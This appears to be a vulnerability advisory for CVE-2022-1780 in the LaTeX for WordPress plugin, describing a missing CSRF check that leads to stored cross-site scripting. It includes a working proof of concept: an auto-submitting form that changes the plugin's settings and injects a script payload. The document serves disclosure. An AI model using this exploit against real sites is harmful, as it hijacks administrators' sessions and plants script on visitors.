LaTeX for WordPress <= 3.4.10 – Arbitrary Settings Update via CSRF to Stored XSS | CVE 2022-1780

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack which could also lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=latex%2Flatex-admin.php" method="POST">
    <input type="text" name="latex_img_server" value="http://l.wordpress.com/latex.php?bg=ffffff&fg=000000&s=0&latex=">
    <input type="text" name="latex_img_custom_server" value="http://chart.apis.google.com/chart?cht=tx&chl=">
    <input type="text" name="latex_imgcss" value="">
    <input type="text" name="mathjax_server" value="custom">
    <input type="text" name="mathjax_custom_server" value="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
    <input name="latex_mathjax_config" type="text" value="</textarea><img src onerror=alert(/XSS/)>">
    <input type="text" name="update_latex_option" value="Update LaTeX Options">
</form>
<script>
    document.getElementById("test").submit();
</script>